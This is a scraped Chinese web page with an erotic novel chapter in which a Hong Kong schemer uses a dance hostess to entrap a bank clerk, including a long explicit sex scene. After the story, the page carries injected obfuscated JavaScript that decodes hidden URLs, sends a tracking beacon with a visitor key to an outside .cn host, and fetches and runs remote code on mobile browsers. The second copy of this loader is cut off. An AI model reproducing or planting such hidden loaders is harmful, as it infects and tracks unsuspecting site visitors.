图片载入中

婚姻之外

特大字】 【大字】 【中字】 【小字

一、纸醉金迷

(1)

在灯红酒绿之下的香港社会,到处都是漩涡,一不小心,经不住那双眼的诱惑,就会跌进漩涡而灭顶。

陈仲达来到上海餐厅,那郑家森早已在靠街边的座位上等他了。

郑家森一看到陈仲达,立即走上前去,拉着他的手,拍着他肩,一付热情的样子,使陈仲达有点受宠若惊,不知所措。

陈仲达应约而来,只是为了“人情”不可推卸,想不到郑家森对他这么热情,他有点不自在,慌忙说:“郑老板何必客气!”

“小陈,你这就见外了,什么郑老板?我比你虚长几岁,你就叫我郑大哥好了。”

郑家森说完,挥了下手,菜单立即送了过来,他把菜单递到陈仲达跟前,说:“你点菜!”

“郑大哥,随便好了,我不会点!”陈仲达说的时候,有点不好意思。

郑家森把菜单合起来交给跑堂,然后问:“小陈,我们吃海鲜怎么样?”

“随便,不要太破费就可以!”

“好!”郑家森点了下头,对跑堂说:“烤二对明虾,另外来盘烧腊拼盘,再一个三丝鱼翅羹。”他点完又转头问陈仲达:“你喝什么酒?”

“我不会喝酒你随便点好了。”

“来一瓶绍兴酒怎么样?”

“好!”

酒菜上来。

郑家森首先为陈仲达倒了一杯,然后他自己才把酒杯斟满,端起杯子说:

“来!这一杯算我敬你!干!”他喝完一杯,杯底朝天的恍恍。

“谢谢你!”陈仲达也一饮而尽。

这样,一杯一杯地干,搁在桌边的绍兴酒已经空了两瓶。

嘴里说不会喝的陈仲达,却是一个海量的酒友。郑家森是老江湖,他晓得劝酒绝对不能让对方烂醉如泥,只需灌他个七分酒意,什么都好谈。

今天,他约陈仲达出来,只是阴谋的序幕,所以他看已经喝掉二瓶,慌忙借势拦下,他说:“老弟你的酒量是比我大得多!”

“那里!”

老弟,你帮我不少忙,这一杯算是我敬你,也算是我谢你!”

“像你郑大哥这样的标准客户我哪谈得上帮忙。”

“在商场上,信用就是资金,有时我晚了一点轧进去,若不是你老弟帮忙,今天这个信用还能维持吗?”郑家森把手中的酒喝光,然后说:“我们还有节目。这是最后一杯,来!我们都干了。”

二人把酒干过之后,郑家森看了下表说:“走!我们换个地方聊聊!”

陈仲达已有七分醉意,也不推辞,一切都依着郑家森的安排。

郑家森把服务生招过来结账,然后从口袋里掏出一支笔,在账单上签个字,另外付了一张百元面额钞要给服务生说:“这是小账!”

签字,在餐厅签得动的人,必是此人来头大。郑家森可以付现,为了摆谱,他当着陈仲达的面、笔一挥,表示自在商场是位吃得开的人。

他们从餐厅的边门出去,从扶梯走上五楼“时代”舞厅去。

郑家森一推开门,几个大班就拥了上来问:“郑大哥好久没来了!”

“忙!”

郑家森那淡淡的一个字吐出来后,回过头对陈仲达说:“你这里有认识的小姐吗?”

“没有!”

“那别家呢?”

“这地方我都没来过。”

“那我们就在这家跳好了!”

“郑大哥,我不会跳舞!”

“有几位来这里是真的为跳舞而跳舞?”郑家森说完拍了下陈仲达肩膀,说:“走!”

郑家森带着陈仲达在靠乐队的左角坐下。

此刻,小妹把毛巾和清茶端了过来。

郑家森对小妹说:“叫蔡大班来!”

没好久,一个胖嘟嘟矮不唧咚的中年男子走了过来,对郑家森打了一个招唿:“郑大哥好久没来了!”

“忙!”他还是那淡淡一个字。

“你这位朋友有熟的小姐吗?”

“没有才找你来!”

“好,我介绍一位小姐,包你这位朋友满意。”

“喂!我呢!”郑家森摸了下他唇边的小胡子,斜着头问蔡大班。

“当然,我会把依帆转来。”

依帆,是国际的红牌小姐,郑家森虽然很少来舞厅,但是,在大班心目中,他却是一个红牌舞客。

红牌舞客不是说能花钱,而是懂得怎么花,懂得怎么捧。

奉舞女,是门“学问”,郑家森在江湖上混,他当然懂得此道,要不然当年在台北舞国中红遍半天的“雪云”,比他少二十岁。居然肯脱下舞衫,跟他共宿双飞,就可想而知他的“绝招妙活”如何了。

乐台左侧的舞节灯跳过三个数字,舞池中的灯光由暗转明,蔡大班带着二个小姐到郑家森台边,一位主动地坐在郑家森身边,当然,她就是依帆,只听她嗲嗲地问:“唷!郑大哥这段日子到哪儿去了?”

“忙吧!”郑家森把她搂了过来。

陈仲达身旁的小姐,真是包君“满意”,虽然她没化什么妆,却显得比化了妆的小姐更艳、更娇。清秀的五官予人有清新的感觉,全身该凹的凹,该凸的凸,一点都没有做作,她在陈仲达身旁坐下,端端正正,只是头微微一偏,轻轻地说声:“我叫梦婕,请问贵姓?”

“陈!”陈仲达说这一个字,心却砰然地跳。

“陈先生,以后要多捧场了!”梦婕说。

“那当然。你看是谁的老弟嘛!”郑家森插上一句。

“梦婕,你还不认得他吗?”依帆看看郑问她。

“我才上班多久,怎认得这位先生。”

“他就是大名鼎鼎的郑大哥。”

“喔!我听说过,那以后郑大哥要经常和赵先来了!”这位自称“上班”没好久的“梦婕”,她的“温”功倒是真有一套,说话的时候,眼珠骨碌碌地转,坐她身边的陈仲达,全身的血管都在膨胀、心跳得更厉害,而且方才在上海晚餐的酒精,似乎这时候在他的血管里特别地烧得快。男人的本能有点蠢蠢欲动。

有人以不动情说是“柳下惠坐怀不乱”,其实那只是一个心理有问题的人才会有这种说法,一个正常的男人,身旁坐着一个真正的女人,而这女人还是那么娇,那么艳,不动心的话,那简直是胡说八道。

郑家森看在眼里,知道自己所布的第一步棋已生了效。

人的弱点,就经不住诱惑,尤其是面对着财和色的当口,最容易把持不住。

这也许就是人的“原罪”吧!

舞池的灯,全部暗了下来。

台上的聚光灯正照在一个“金”光闪闪的女歌手身上,她手上的麦克风似啃甘蔗一般在抖着,嘴里也不知道是在呻吟还是嘶喊,她的腰部以下,似挂在屋檐下的风铃,不停地摆动,舞池挤得满满。要说是“跳”,毋宁说是在原地“幌”,四周都是在互相磨擦的人体。

郑家森搂着依帆,她紧紧地贴在他的胸前此刻,郑细声地问:“梦婕真的上班不久?”

“她以前在铜锣湾一带上过班。”

“她能不能‘杀’的?”

“你?”依帆把郑家森推开。

你怎么哪?”

你动她脑筋,我就走!”

“你想到哪儿去。我要了解情形,好帮我老弟的忙,你吃什么醋?”

“这件事你自己去问她好了!”依帆余怒犹存。

“这我怎好开口?”

“那你问蔡大班。”

郑家森知道在蔡大班旗下的小姐,只要你“捧”的漂亮,没有不能“杀”的。

以他在舞场混的经验,只要自暗示下蔡大班,相信布下的陷阱,对方必定难以脱逃。

郑家森为了使小陈入壳,他决定从蔡大班那里布下一根暗椿,利用梦婕来位陈仲达。

当舞节灯亮“二○”时,郑家森叫小妹把蔡大班找来。他在蔡大班耳边细声地间道:“老蔡,梦婕今晚节数由我补,我要带她出场。”

“依帆呢?”那矮冬瓜蔡大班问着。

“一道出场。”

“你带二个?”

“梦婕是我这位小老弟要带她。”

“好!”

“那给我代签一下!”

“没问题。”

他们的话声刚顿,舞池的灯也亮了,陈仲达挽着梦婕回到座位。依帆也由别台转了过来。

郑家森对陈仲达说:“账我已算好了,我们四人一道去吃宵夜!”

陈仲达刚进舞厅时,有点不习惯,经过几曲“勃鲁斯”下来,再加上梦婕的“温”工,他此刻已经是把握不定了。

本来,陈仲达应郑家森之约,只是一个礼貌上的应酬,没想到在四小时不到的时间里,却完全变了。

他巴不得梦婕片刻都不要走开。

他听郑家森说:“我们四人一道”时,陡然更加兴奋,迫不及待说:“那我们走吧!”

“我们先到路口等她们!”

陈仲达带着梦婕,郑家森搂着依帆从“时代”出来,招了二辆计程车,二对分别上车,向“半岛酒店”驶去。

照一般人的作法,四个人可以一辆车,但是,善于揣摩人心理的郑家森,他却叫了二辆,这样好让陈仲达与梦婕单独相处一段时间。

果然,陈仲达和梦婕从西宁南路到中山北路这段车程时间中,他和她的感情似乎进展得比在舞厅中的时间内还来得快。

陈仲达握着梦婕的手问:“你是不是可以不上班?”

“陈先生,这件事你问得太突然了。”

为什么?”

“终究我们才认识不到三小时啊!”

“可是……”陈仲达说的时候,脸上似乎火辣辣的感觉,只吐了两个字说说不下去了。

“咦!你这个人怎么搞的,怎么话说了一半不说了?”梦婕把他抓着的手捏得更紧一点。

“我们虽然认识时间不长,可是我对你却有一种感觉……”陈仲达仍然是吞吞吐吐。

“什么感觉?”梦婕却紧迫的问他。

“感觉我们一见如故。”

“陈先生,到我们这地方来的客人,都这么说。”

“不,我的确是真的有这种感觉。”

“啊!那我就错怪了你。”

“梦婕!”陈仲达双手握位梦婕的手,借着车外幌动的灯影,他注视着她。

他才叫出二个字,突然又停住了。

“什么事?”

“我应该请教你的姓。”

“叫我梦婕不是很好吗?”

“不,那也许是一种侮辱!”

“侮辱?”梦婕噗嗤一声笑起来。然后把头转过来,看陈仲达那股傻乎乎的表情,才问道:“为什么叫我梦婕是侮辱呢?”

“因为梦婕是你在舞厅中客人叫的,我希望和你交朋友,是在舞厅以外建立友情,所以认为叫你“梦婕”是一件侮辱的事。”

“陈先生,谢谢你看得起我,我姓夏。”

“夏小姐!”

“你有什么话直说好了。”

“我……”

“怎么又是这样呢?”

“我,我想我们交个朋友。”

“现在我们不是朋友了吗?”

“不,我说的不是这样的朋友。”

“这!”梦婕蓦然想起坐在自己身边的年青人,也是和其他客人一样的猴急,可是,自己有原则,绝不跟第一次带出场的客人有什么再进一步的交易。所以,她将他的手拉开,笑笑地说:“陈先生,你急什么嘛,我们才认识这么短时间。以后再谈吧!”

其实“梦婕”是会错了意,而陈仲达被她这么一拒绝,顿时有点尴尬。

幸好,车子已到了“半岛酒店”。

郑家森车子先停下,他匆忙过来为小陈付过车资。四人进入半岛。

郑家森刚踏进大门,一位看上去似经理的中年人立即迎上来,说:“位子在前面!”

“谢谢!”郑家森带着依帆,陈仲达跟在梦婕身后,从人丛中来到舞台前。

那引他们进来的中年人,挥了下手,立即有两个服务生过来,以命令口吻对他们说:“把郑老板的酒拿来!”他吩咐完,回头对陈仲达看了下问道:“这位是……”

“对了,我忘了介绍,他是我的老弟,姓陈,在银行服务。”

“陈先生你好,我姓周,是这里业务经理。”

“陈周二人握手时,郑家森对梦婕说:“我这位老弟是老实人,你们做做朋友也不错啊!”他说完又转过头来对蔡胜雄说:“老弟,你说怎么样?”

“谢谢郑大哥!”

此刻,服务生已把郑家森寄存的洋酒捧了过来,而且菜也上了。

舞台上的歌手正透过麦克风传出来:“你这个坏东西”的怪腔怪调。

他们四人,你敬我,我敬你,闹了一会。

郑家森把陈仲达跟前的酒杯斟满,然后端起他自已的酒杯说:“老弟,我这杯敬你。”

陈仲达把酒杯端起,间郑家森道:“郑大哥,你又有什么理由敬我?”

郑家森笑了一下,说:“老弟,做生意的人信用是最重要,我郑某人在商场上能有今天,完全是在用支票的时候,把握着信用的原则,有时我事情一忙难免需要你老弟帮忙的地方,所以我这一杯敬你。”

陈仲达把酒杯放在嘴边,久久没把酒饮下去。

郑家森催促说:“老弟,你不肯赏老哥这个脸吗?”

“郑大哥,我实在受之有愧。”陈仲达把端在手上的酒放在桌上,接着说:“郑大哥,我只是一个小职员那有力量帮你的忙?”

“老弟,我要你的帮忙并不是在钱的方面,再说,我郑某人也不会让你在钱的方面对我帮忙,我只是希望你老弟,有时我疏忽了,请你老弟提醒我一下就行了。”

郑家森这一句话已经暗示了他,将要利用陈仲达,可是陈仲达是个老实人,那里听得懂他的话意,却爽朗的说:“郑大哥,只要我能办到的,我一定遵照你的吩咐。不过若是犯法的事,那我就无能为力。”

“老弟,你看我会叫你做犯法的吗?”

坐在另一边的依帆,突然插上一句:“陈先生,你要知道郑大哥干什么吗,他怎么会叫你做犯法的事呢?”

“郑大哥,方才我在言语中有失礼的地方请你原谅,这一杯酒算是罚我。”

他说完,一口气就把那杯酒喝干。

“老弟,你太客气了。”郑家森马上把话题转开,又笑笑的对梦婕说:“你看,我老弟是多老实?”

梦婕笑了笑,看看陈仲达拿起酒瓶为他倒了一杯酒,再给自己杯里倒满,将酒杯端起,说:“陈先生,这一杯酒算是我们友情真正的开始,来!干了!”

“好,我也干!”陈仲达毫不变色,把酒干后,想不到依帆也趁机为他敬酒。

这样,一杯一杯灌,陈仲达有点支持不住,最后,终于仆在桌上。

郑家森见他醉了,马上暗示依帆,要她和梦婕商量,由梦婕扶他到“国宾”去。

当然,依帆这一晚是跟着郑家森一道了。

第二清晨……

陈仲达醒来时,一看自己睡在软软的席梦思床上,看一下手表,已经七点了。突然他听到浴室里有“哗哗”的流水声音,而且在床前沙发上,有女人的衣服,地毯上散着女人的内衣裤。他怔了下,慌忙坐起。

此刻,虽然是室内帷幔低垂,无法分清是白画和黑夜,但浴室走道上的灯,却很清晰地照着整个室内看得清清楚楚,他极力在想,这到底怎么回事。

突然,从浴室内传来女人声音:“小陈,你这么早就起来?今天是礼拜天,你不用上班,起这么早干吗?”

陈仲达一听是梦捷的声音,他蓦然想起昨晚的事来,他想难道这是郑大哥的安排?

他正想着时,梦婕已经从浴室出来,身上围着一条浴巾正好把当中的一截围住,一边梳着头发,一边说:“小陈,你怎么不多睡一会呢?”

“你!”

“我怎么哪?”

“你昨晚和我一道?”

“是啊!要不为什么会去洗澡?”

“这……”

“你这个人怎么搞的?昨晚喝了那么多的酒,而且……”梦婕说着时:低下身去拾她的内衣,同时顺手把走道的灯熄了。

这时候,屋内虽是黑黝黝的,但是梦婕凹凸分明的线条,由于帷幔外的阳光透进一丝丝光亮,仍然看得清清楚楚。

陈仲达有点陶醉。他陶醉着,似梦婕这么美、这么娇的女人,自己昨晚都和她一道并头睡过觉。可是,他突然又想到以后是不是能继续有这美好的假日呢?

他似乎又感到惆怅。

他想以自己的能力,是无法追求这种生活的。那么,自己就不能再重温这“美好”的梦了。

患得患失的心情使陈仲达陷入了迷惘。

陈仲达想到这里,心里不觉发痒起来。自己昨晚必是跟梦婕风流过。

但该死,自已酒喝太多了,至于怎么样风流,有多舒服可是一点印象也没有。

人生难得几回醉,美色当前,错过了今日不知复有明日否?于是他决定在他清醒的这一刻要好好的享受一番。

陈仲达视线停留在夏梦婕迷人的胴体上。

“夏……小姐……我们……”

“小陈,你怎么啦!吞吞吐吐的。”

“我……”

夏梦婕见他脸红脖子粗,两眼直盯着自己看,经验告诉她,对方想要了。

于是梦婕将身上那件薄纱轻轻撩起,故意露出两条纷白的大腿,并且用手由脚下摸上来。

手顺着圆滑的大腿而上,最后停留在神密的三角洲。

口中“……唔……唔”朱唇微启,眸眼惺忪,一副陶醉的模样,又娇又媚。

陈仲达的血液加速。

“小陈!何不把衣服脱掉,我们再来温存如何?”

这是他求之不得的事情。

陈仲达立刻将身上的束缚打开,赤裸裸的像只金钢。

美人刚出浴,身体特别香,梦婕也在这时,将蝉衣靠粉颈后面的按扣松开,扭蛇腰,轻纱立刻滑到地下。

顺着她的胸脯,肥臀直落到地面,光熘熘的胴体更清楚了。

他那两道眼光像火般的灼烫,不停地向她的裸体上上下下熘过来又熘过去,好像永远也看不厌似的。

看来她的唿吸正在急速的加快,可能看到陈仲达下体此时已雄纠纠气昂昂的缘故。

白嫩的玉峰,掩盖不住峰岭上两粒泛红的乳头。

小腹下,萋萋芳草散发着无边的春色。

此时的陈仲达,七晕八素,像一头猛狮蓄势待发。

她缓缓走向水晶床,温柔地……躺下去。

“慢慢的将两腿分开。”陈仲达指示梦婕。

果然梦婕轻轻将两条大腿八字形分开,森林小溪是一览无遗。

陈仲达走近床边,仔仔细细地观赏夏小姐的私处。

“咕嘟”一声,陈仲达心中发痒,不禁咽了一口饶涎。然后伸出绿爪,身子低了下去。

梦婕赤裸裸地仰卧着,脸上泛着红。

陈仲达食指大动,胯下的鸡巴已跳动起来,他用手去摸她的小腹之下,一片阴毛浓密密地,又摸摸肥厚的阴唇。

梦婕也不示弱地摸着他的大鸡巴,两个人紧紧地拥抱在一起。

“嗯……哦……”梦婕发出鼻音。

陈仲达的阳具已非常粗壮,经过梦婕的手摸之后更是澎胀得不得了,那支鸡巴热滚滚地,叫人心怕。

梦婕喜爱之极,低下头来一口含住龟头,把她的小嘴塞得满满地,先用舌尖舔了一下马眼,又刷了几刷,那股股的鸡巴流出了黏液,有一股味道,弄得她非常地好过。

陈仲达猛然把鸡巴从她嘴里抽出,用手将她推倒,随手将脱下来的衣服当枕头,放在梦婕的屁股下。

只见床上的梦婕,突出一个肉穴,中间留着缝儿,略红带肉色。

陈仲达伸手一摸,只弄了一下,湿淋淋地泡淫水已流了满床。

他忙将那两只粉腿左右分开,放在背上,那肥厚的阴唇慢慢裂开,里面露出了穴心子。

陈仲达将他那又粗又壮地大鸡巴,使劲地用力顶塞,但由于龟头太过于昂大,不易塞入。

梦婕见他的大鸡巴塞得很慢,而穴中已痒得难受,只急的叫着:“宝贝呀!你的家伙这么大,你可慢慢地等着我带路,不要性急。”

两人互摩来摩去,穴心里又流出许多淫液,梦婕扶着那七寸长的鸡巴,放在玉门口外,叫仲达轻轻地往里顶。

仲达微使点劲儿,往里耍顶,只听得她“哎哟!”一声,正想要说声慢时,仲达又趁势腰一挺,只听得“扑滋”一声,已将那根大鸡巴插进了一半。

梦婕忙用手扶住,慢慢地一抽一送,一进一出不消十余下,淫水己再次狂泛。

穴下已湿成一片,使得他更好抽送,又抽插了二十余下,他的那根大鸡巴已全然覆没,塞得那小穴满满的,一点缝儿都没有。

只听见梦婕舒服的叫着,她香汗淋淋,又舒服、又高兴。

这是梦婕这几年来最愉快的事,没有什么和男人相干再兴奋的了。

她口中喃喃低语道:“哦……哦我的大……鸡巴……你慢慢地插……我的小阴……穴……可要给你……插破了……”

声音低得只拥抱在一起,才听得到。

仲达干的正在起劲、快活的时候,他那里能等。

他不肯听她的话慢慢来,就向她应道:“小阴穴,你现在忍着,等下,包证你快活死!”

说时迟,那时快,又继续抽送,插了几百下,梦婕的穴口已变得大些,真是说不出、摸不到的快感,口中淫声叫道:“心肝呀!你真有本事,插得我穴心,好舒服……

一方面她又感到他那粗壮的大鸡巴顶住了花心,硬挺挺地,热突突地胀满了穴口。

她急叫着:“你的鸡巴……太硬了……太大……了……你……慢慢……地……插……”

说着,她却紧紧地抱住他。

过了一会,仲达又狂猛地抽送起,只见梦捷尖声叫道:“心肝……呀……宝贝……呀……你这大鸡巴……太厉害了……真是……害死……我……了……好……爽……你慢慢……地……美死了……插……小穴……美极了……舒服……好……喜欢……”

梦婕配合着扭动屁股。

她这一扭,仲达又兴奋得不得了……

梦婕被插得浪声连连,淫水狂流,恨不得他狂插一阵子才痛快,嘴里又叫道:“好祖宗哟……亲哥哥哟……不痛了……快……快用力的……插……”

又听到小穴和鸡巴的磨擦声。

擦得梦婕又哇哇淫叫:“亲亲,心肝呀……穴被……插死……了……插得这么痛快……使劲呀……好……舒服……哟……对……对……仲达……旺……用力插……穴……”

“痛快吗?”

陈仲达用了生平最大的力气插了下去,然后又问道:“你以后还要不要跟我……插穴……”

“要……要……”

“要……要什么……说清楚……”

“嗯……”

“不说是吗?”陈仲达故意将鸡巴抽出一点。

“说……说……要插穴……”

“要每天呢……还是三天……一次。”

“梦婕要:要每天给……仲达插。”

听了这些淫语,仲达更是插更是起劲了……

梦婕刚说我要丢了,那股子热唿唿地阴精,已由她的子宫里流了出来o

那一种芳魂欲断的样子,真是笔墨难以形容。

仲达看着她两颊赤红,色眯眯的双眼半闭半开,四肢地已软了下来,知道她的阴精又要流出来了。

于是仲达用手紧紧搂住她的腰部,再使劲的狠插一番。

梦婕已全身抽动阴口紧缩,哼成一团,他便将龟头使劲顶住花心,让淫水浸饱整个龟头,多舒服呀!

停了一会,仲达才将阳具拔出,心中热唿唿地,舒服极了。

这时梦婕的阴精,似泉水般泄了出来,微白略黄的流在屁股下,沾满了一床都是。

很多事经过了第一次浅尝后,若是合了自己的口味,就会想得到第二次的深嚼。第三次……

陈仲达本来是一位很老实的年青人,想不到经过了郑大哥那一次的安排,居然成了“时代舞厅”的常客。

人,是经不住诱惑,这也许正是人的始祖带来的原罪,陈仲达和梦婕的交往,是郑家森的安排。但是,他自己却慢慢地步进了漩涡。

有天……

郑家森家里的电话响了。

郑家森拿起听筒,听到对方的声音,是陈仲达,慌忙问:“老弟,你找我有事吗?”

“是的,今晚我请客!”想不到陈仲达却开门见地说。

“怎么?你中好头彩了?”

“不是的,我刚发薪水,想请你一道去老地方。”

“老地方?”

“怎么,你忘了时代舞厅啊!”

“时代舞厅?老弟,你最近是不是常去那里?”

“不错,我经常去捧‘夏小姐’的场。”

“呵!那样不好!”郑家森的声音带着一种教训的意味,但是,没再接下去,他想挂下电话,所以说:“好了,我去,五点半见!”

郑家森放下听筒微微地笑着。

此刻,从房里传出来女的声音,语气里含着一股爆炸味道,问着:“谁的电话?”

“一个小老弟的!”

“那怎么又是时代舞厅?是不是依帆打来的?”随着声音,一个娇滴滴的女人从屋里出来。看上去,她的年龄差郑一大截。若是二人一道走,可能要被误认为父女。

其实,她就是他的现任太太,当年红遍娱乐圈的“雪云”。

“雪云”原是舞小姐,一次圣诞节举办什么“皇后”选举,她得力于郑家森的支持,居然脱颖而出,戴上了后冠没多久,也脱下舞衫成了郑大嫂。

本来,郑家森是有家有室的人,为了“雪云”,他把原配太太给休了。自古来糟糠之妻不下堂,郑家森能休妻,他的为人可见一般。

此刻,雪云带着醋意在问:“怎么?依帆勾搭上门来了。”

“不是她,是小陈!”

“小陈?”雪云从茶几上取了一支香烟,叨在嘴边,郑家森马上拿出打火机“嚓!”一声,将火凑了上去。

“小陈是银行的职员。”

“怎么?他有什么麻烦,要你出面?”

“不是,他是个老实人。”

“这样说,你是……”

“雪云!你今天是怎么搞的?”郑家森立即把她的话打断。

“好,我不问你了。”雪云弹下了烟灰,突然想起一件事,咬着下唇,蓦然问道:“小马的票快到期了,你准备怎么办?”

“多少?什么时候?”

“我看看!你进去把皮包给我拿出来。”

想不到叱吓风云的郑大哥,居然在家里,被“太太”当做小厮使唤。

没好久,郑家森把雪云的大皮包拿了出来,放在茶几上,他坐在长沙发,抽有烟,静静地看她在翻着一本小小的笔记本。

雪云翻了一下,她眼睛停在笔记本上,嘴里直嚷:“糟了!”

“什么事?”郑家森被她这么一嚷,也陡然一怔。

“老吴的票是今天的!”

“多少?”

“三十万!”

“没问题,可以过!”

“钱呢?”

“我想办法!”郑家森说完,立即打电话给陈仲达。

“没问题!”陈仲达很够意思。

郑家森放下听筒,走到雪云跟前。

我的好太太,你就帮我一次忙,今天,这一关我一定要过,太重要了!”

“你不是说没问题可以过吗?怎么却要我去找老表呢?”

雪云把手上的烟狠狠地按在烟灰缸上,接着说:“过去老表虽然怕你,可是现在的他也不是好惹的,你跟他调票,他不要利息已经是天大面子。再讲当年他捧我也不差你,自从我们结婚后,他的心还没死,只是在面子上他拉不下来”

“原来这小子还敢动你脑筋!”郑家森狠狠地槌了下桌子,转过身对雪云说:“我们很快就要离开香港!”

“哼!离开香港,我不晓得听你说了多少次?”

“今天这三十万就是我实现计划的第一步。”

“说来说去,你还是叫我找老表调票,是不是?”

“唔!”郑家森点了头,看看表说:“时间不多了,快点。”

雪云把支票开好,郑家森把票接过来,在她脸上吻了下然后说:“你这只小白兔,好好待家里,出去当心狼把你吃掉!”

在尖沙嘴一处大楼下的咖啡座上,二个中年人对坐着,其中一个就是郑家森,坐在他对面的是“老表”罗禅。

罗禅是郑家森的同窗好友,也是混道上的伙伴,他们的同窗并不是“学窗”,而是“铁窗”。

提起罗禅,似乎在江湖上混的朋友对他陌生,若是叫“小罗”,都会一个个翘着大姆指说:“这小子是个人物!”


上一篇:<<亚特兰提斯战记>> 第二集

下一篇:活动中心女总干事传说


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new 